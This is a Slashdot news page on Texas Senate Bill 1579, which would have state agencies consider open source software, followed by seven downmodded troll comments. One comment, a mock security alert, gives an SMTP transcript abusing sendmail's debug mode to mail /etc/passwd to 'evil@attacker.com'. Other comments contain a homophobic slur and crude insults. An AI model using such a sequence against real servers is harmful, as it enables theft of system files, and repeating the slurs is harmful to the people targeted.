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Texas Hearings On Open Source Bill

Posted by timothy on from the think-big-think-open dept.

fusion812 writes "Senate Bill 1579 is proposed Texas state legislation that would require state agencies to consider 'open source software' when purchasing computer software. The bill has been introduced in the Senate, referred to committee, and is awaiting a schedule date for a hearing." Here's some more information from EFF Austin; fusion812 supplies a summary of the bill's provisions as well as a Real Audio sample of the provided testimony, both below. Also, see this report on NewsForge for some juicy quotes.

A sample recording of testimony can be heard here: http://www.Senate.state.tx.us/ram/archive/2003/may /050803StAffpm.ram

More information: Texas Senate Bill 1579
Senate Bill 1579 proposes that, for all new software acquisitions, a state agency shall:
1. consider acquiring open source software products in addition to proprietary software products;
2. except as provided by Subdivisions (4) and (5), acquire software products primarily on a value-for-money basis;
3. provide justification whenever a proprietary software product is acquired instead of open source software;
4. avoid the acquisition of products that do not comply with open standards for interoperability or data storage;
5. avoid the acquisition of products that are known to make unauthorized transfers of information to, or permit unauthorized control of or modification to the state government's computer systems by, parties outside the control of the state government."

7 of 168 comments (clear)

  1. Larry the says.... by Anonymous Coward · · Score: -1, Offtopic

    ___________________
    / Debian's gay! Use \
    \ Gentoo instead! /
    -------------------
    \ ^__^
    \ (oo)\_______
    (__)\ )\/\
    ||----w |
    || ||

  2. Larry the cow says.... by Anonymous Coward · · Score: -1, Offtopic

    ___________________
    / Debian's gay! Use \
    \ Gentoo instead! /
    -------------------
    \ ^__^
    \ (oo)\_______
    (__)\ )\/\
    ||----w |
    || ||

    MooKore, at the herd of the game!

  3. Slashdot Poll by Anonymous Coward · · Score: -1, Offtopic
    Who is the biggest anus?
    [x] Peter Jennings
    [ ] Tom Brokaw
    [ ] Dan Rather
    [ ] Katie Couric
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  5. George bush to fuck a penguin.... by Anonymous Coward · · Score: -1, Offtopic

    ___________________
    / MooKore, the new \
    \ herd of the game! /
    -------------------
    \ ^__^
    \ (oo)\_______
    (__)\ )\/\
    ||----w |
    || ||

  6. ALERT all Linux users! by Anonymous Coward · · Score: -1, Offtopic

    I've found a defect in SUSE and Redhat at a minimum. We mneed a patch from the Open Source community QUICK! Apparently, many Linux distros compiled their sendmail with the debug flag - this is BAD! the defect goes like this -

    220 mail.victim.com SMTP
    helo attacker.com
    250 Hello attacker.com, pleased to meet you.
    debug
    200 OK
    mail from:
    250 OK
    rcpt to:
    250 OK
    data
    354 Start mail input; end with .
    mail evil@attacker.com /etc/passwd
    .
    250 OK
    quit
    221 mail.victim.com Terminating

    I check out Microsoft MTA's, and they aren't vulnerable. I'm switching, and I suggest you do the same - FAST!

  7. Fuckwit moderators! by Anonymous Coward · · Score: -1, Offtopic

    Revolting cocks lyrics are never Offtopic!